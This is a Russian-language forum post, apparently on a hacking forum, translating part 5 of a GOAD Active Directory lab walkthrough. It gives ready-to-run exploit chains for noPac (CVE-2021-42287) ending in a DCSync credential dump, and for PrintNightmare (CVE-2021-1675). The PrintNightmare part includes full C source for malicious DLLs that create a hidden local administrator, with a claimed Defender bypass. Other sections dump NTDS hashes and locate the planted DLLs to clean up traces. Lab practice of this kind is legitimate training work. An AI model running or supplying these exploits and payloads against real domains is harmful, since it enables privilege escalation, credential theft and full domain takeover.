• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья GOAD - часть 5 - эксплойт с пользователем

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
ОРИГИНАЛЬНАЯ СТАТЬЯ
ПЕРЕВЕДЕНО СПЕЦИАЛЬНО ДЛЯ xss.pro
$600 ---> 0x5B1f2Ac9cF5616D9d7F1819d1519912e85eb5C09 для поднятия ноды ETHEREUM и тестов

В предыдущем посте мы играли с реле ntlm. В этой же продолжим разбирать что можно сделать, используя действующую учетную запись домена.
1670635461850.png


Здесь мы попробуем только эксплойт samAccountName и PrintNightmare, так как MS14-068 уже устарел (Windows Server 2012 R2 max).

SamAccountName (nopac)

В конце 2021 года, когда всех беспокоила уязвимость log4j «log4shell», появилась другая уязвимость с меньшим шумом: CVE-2021-42287.

Проверьте, можем ли мы добавить компьютер​

Для этой атаки я буду использовать north/jon.snow:iknownothingучетная запись, которую мы ранее получали с помощью kerberoasting в части 3.
Давайте найдем модуль cme для проверки квоты учетной записи машины.

Код:
cme ldap -L

1670635664716.png


Код:
cme ldap winterfell.north.sevenkingdoms.local -u jon.snow -p iknownothing -d north.sevenkingdoms.local -M MAQ

1670635699419.png


Клониреум репозиторий impacket

Код:
cd /opt/tools
git clone https://github.com/SecureAuthCorp/impacket myimpacket

Создайте нашу ветку git

Код:
cd myimpacket
git checkout -b mydev

Создайте venv, чтобы не мешать среде хоста, и установите репозиторий, который мы только что проверили.

Код:
python3 -m virtualenv myimpacket
source myimpacket/bin/activate
python3 -m pip install .

Код:
git fetch origin pull/1224/head:1224
git fetch origin pull/1202/head:1202

  • Сливаем пулреквесты в нашу ветку
Код:
git merge 1202
git merge 1224

  • Измените порядок результатов записи пути, чтобы загрузить нашу корзину pyenv раньше других в $ PATH (это необходимо для zsh, в bash она принимает непосредственно наши ячейки pyenv)
Код:
rehash


  • Теперь давайте проверим, что мы получили все двоичные файлы и параметры, которые нам нужны:
Код:
renameMachine.py
getST.py


  • Отлично, теперь мы используем последнюю версию impacket с пулл-реквестами Shutdown (@_nwodtuhs), необходимыми для этой атаки :)

Эксплойт​

Что мы сделаем, так это добавим компьютер, очистим SPN этого компьютера, переименуем компьютер с тем же именем, что и контроллер домена, получим TGT для этого компьютера, восстановим исходное имя компьютера, получим билет службы с TGT, который мы получить ранее и, наконец, dcsync :)
  • Добавить новый компьютер
Код:
addcomputer.py -computer-name 'samaccountname$' -computer-pass 'ComputerPassword' -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH 'north.sevenkingdoms.local/jon.snow:iknownothing'

1670636071433.png


  • Очистите имена участников-служб нашего нового компьютера (с помощью инструмента dirkjan krbrelayx addspn)
Код:
addspn.py --clear -t 'samaccountname$' -u 'north.sevenkingdoms.local\jon.snow' -p 'iknownothing' 'winterfell.north.sevenkingdoms.local'

1670636109429.png


Переименуйте компьютер (компьютер -> DC)
Код:
renameMachine.py -current-name 'samaccountname$' -new-name 'winterfell' -dc-ip 'winterfell.north.sevenkingdoms.local' north.sevenkingdoms.local/jon.snow:iknownothing

1670636161705.png


Получите TGT

Код:
getTGT.py -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell':'ComputerPassword'

1670636232075.png


Сбросить имя компьютера к исходному имени

Код:
renameMachine.py -current-name 'winterfell' -new-name 'samaccount$' north.sevenkingdoms.local/jon.snow:iknownothing

1670636276019.png


Получите сервисный билет с помощью S4U2self, предъявив предыдущий TGT.

Код:
export KRB5CCNAME=/workspace/winterfell.ccache
getST.py -self -impersonate 'administrator' -altservice 'CIFS/winterfell.north.sevenkingdoms.local' -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' 'north.sevenkingdoms.local'/'winterfell' -debug

1670636340596.png


DCSync, предъявив сервисный билет

Код:
export KRB5CCNAME=/workspace/administrator@CIFS_winterfell.north.sevenkingdoms.local@NORTH.SEVENKINGDOMS.LOCAL.ccache
secretsdump.py -k -no-pass -dc-ip 'winterfell.north.sevenkingdoms.local' @'winterfell.north.sevenkingdoms.local'

1670636408368.png


  • И вуаля, мы получили всю информацию о северном домене ntds.dit :)
  • Теперь очистите, удалив компьютер, который мы создали с хэшем учетной записи администратора, который мы только что получили.
Код:
addcomputer.py -computer-name 'samaccountname$' -delete -dc-host winterfell.north.sevenkingdoms.local -domain-netbios NORTH -hashes 'aad3b435b51404eeaad3b435b51404ee:dbd13e1c4e338284ac4e9874f7de6ef4' 'north.sevenkingdoms.local/Administrator'

Код:
Impacket v0.10.1.dev1+20220708.213759.8b1a99f7 - Copyright 2022 SecureAuth Corporation
[*] Successfully deleted samaccountname$.

PrintNightmare​

Чтобы использовать printnightmare, мы сначала проверим, активен ли спулер на целях.

Проверьте, активен ли spooler​

  • с смe
Код:
cme smb 192.168.56.10-23 -M spooler

1670636578275.png


Используем impacket rpcdump

Код:
rpcdump.py @192.168.56.10 | egrep 'MS-RPRN|MS-PAR'

1670636629153.png


Подготовим impacket

Подготовьте DLL​

  • Подготовим dll эксплуатации
  • Мы создадим пользователя и добавим его как локального администратора
  • Создайте файл nightmare.c
Код:
#include <windows.h> 

int RunCMD()
{
system("net users pnightmare Passw0rd123. /add");
system("net localgroup administrators pnightmare /add");
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
RunCMD();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}

  • Скомпилируйте:

Код:
x86_64-w64-mingw32-gcc -shared -o nightmare.dll nightmare.c

Эксплойт на старом и уязвимом сервере Windows 2016 (meereen)​

  • Клонировать эксплойт
Код:
git clone https://github.com/cube0x0/CVE-2021-1675 printnightmare

  • Подготовьте общий ресурс smb с dll

Код:
smbserver.py -smb2support ATTACKERSHARE .

1670636912001.png


Пробуем на Braavos

Braavos - это обновленный сервер Windows 2016, эксплойт не сработает (та же ошибка, если вы попробуете северный домен на сервере castelblack)

1670636956704.png


Пробуем в Meereen

Код:
python3 CVE-2021-1675.py essos.local/jorah.mormont:'H0nnor!'@meereen.essos.local '\\192.168.56.1\ATTACKERSHARE\nightmare.dll'

1670637011735.png


Сроботал

1670637040181.png


1670637050766.png


Подождите, вы используете подключение к домену вместо --local-auth с cme no ?
  • Да, это потому, что meereen является контроллером домена:
«Контроллеры домена не имеют встроенных или учетных доменов. Кроме того, вместо базы данных SAM эти системы используют службу каталогов Microsoft Active Directory для хранения информации о доступе к учетной записи».

Эксплойт на уязвимом сервере Windows 2019 (winterfell)​

  • Теперь попробуйте тот же эксплойт на уязвимом сервере Windows 2019.
Код:
python3 CVE-2021-1675.py north.sevenkingdoms.local/jon.snow:'iknownothing'@north.sevenkingdoms.local '\\192.168.56.1\ATTACKERSHARE\nightmare.dll'
  • И это тоже работает, но пользователя нет в группе администраторов :(

1670637173926.png

  • Полезно знать: после некоторых сбоев служба спулера будет остановлена защитником, и вы больше не сможете использовать его, пока кто-нибудь не перезапустит сервер или службу спулера.
  • Давайте изменим полезную нагрузку другим кодом (источник: https://github.com/newsoft/adduser)
Код:
/*
 * ADDUSER.C: creating a Windows user programmatically.
 */

#define UNICODE
#define _UNICODE
#include <windows.h>
#include <string.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <tchar.h>


DWORD CreateAdminUserInternal(void)
{
    NET_API_STATUS rc;
    BOOL b;
    DWORD dw;

    USER_INFO_1 ud;
    LOCALGROUP_MEMBERS_INFO_0 gd;
    SID_NAME_USE snu;

    DWORD cbSid = 256;    // 256 bytes should be enough for everybody :)
    BYTE Sid[256];

    DWORD cbDomain = 256 / sizeof(TCHAR);
    TCHAR Domain[256];

    // Create user
    memset(&ud, 0, sizeof(ud));

    ud.usri1_name        = _T("pnightmare2");                // username
    ud.usri1_password    = _T("Test123456789!");             // password
    ud.usri1_priv        = USER_PRIV_USER;                   // cannot set USER_PRIV_ADMIN on creation
    ud.usri1_flags       = UF_SCRIPT | UF_NORMAL_ACCOUNT;    // must be set
    ud.usri1_script_path = NULL;

    rc = NetUserAdd(
        NULL,            // local server
        1,                // information level
        (LPBYTE)&ud,
        NULL            // error value
    );
    if (rc != NERR_Success) {
        _tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
        return rc;
    }
   _tprintf(_T("NetUserAdd OK\r\n"), rc, rc);
    // Get user SID
    b = LookupAccountName(
        NULL,            // local server
        ud.usri1_name,   // account name
        Sid,             // SID
        &cbSid,          // SID size
        Domain,          // Domain
        &cbDomain,       // Domain size
        &snu             // SID_NAME_USE (enum)
    );
    if (!b) {
        dw = GetLastError();
        _tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
        return dw;
    }
    // Add user to "Administrators" local group
    memset(&gd, 0, sizeof(gd));
    gd.lgrmi0_sid = (PSID)Sid;
    rc = NetLocalGroupAddMembers(
        NULL,                    // local server
        _T("Administrators"),
        0,                        // information level
        (LPBYTE)&gd,
        1                        // only one entry
    );
    if (rc != NERR_Success) {
        _tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
        return rc;
    }
    return 0;
}
//
// DLL entry point.
//
BOOL APIENTRY DllMain(HMODULE hModule, DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateAdminUserInternal();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
// RUNDLL32 entry point
#ifdef __cplusplus
extern "C" {
#endif
__declspec(dllexport) void __stdcall CreateAdminUser(HWND hwnd, HINSTANCE hinst, LPSTR lpszCmdLine, int nCmdShow)
{
    CreateAdminUserInternal();
}
#ifdef __cplusplus
}
#endif
// Command-line entry point.
int main()
{
    return CreateAdminUserInternal();
}

с этой полезной нагрузкой мы можем обойти защитника и добавить нашего пользователя в качестве администратора. Скомпилируем:

Код:
x86_64-w64-mingw32-gcc -shared -opnightmare2.dll adduser.c -lnetapi32

Еще немного подготовительных действий

Код:
smbserver.py -smb2support ATTACKERSHARE .

перезапустим эксплойт

Код:
python3 CVE-2021-1675.py north.sevenkingdoms.local/jon.snow:'iknownothing'@winterfell.north.sevenkingdoms.local '\\192.168.56.1\ATTACKERSHARE\pnightmare2.dll'

1670637414773.png


И наслаждайтесь своей новой учетной записью администратора, сбросив ntds :)

Код:
cme smb winterfell.north.sevenkingdoms.local -u pnightmare2 -p 'Test123456789!' --ntds

1670637461756.png


Заметаем следы

После эксплуатации вы найдете свои dll внутри: C:\Windows\System32\spool\drivers\x64\3

1670637505864.png


  • А также внутри: C:\Windows\System32\spool\drivers\x64\3\Old\{id}\
1670637534891.png


В следующий раз мы повеселимся с ADCS (Certifried, ESC1, ESC8, …)
 

Вложения

  • 1670635660081.png
    1670635660081.png
    9.5 КБ · Просмотры: 7
  • 1670636351886.png
    1670636351886.png
    12.6 КБ · Просмотры: 6


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх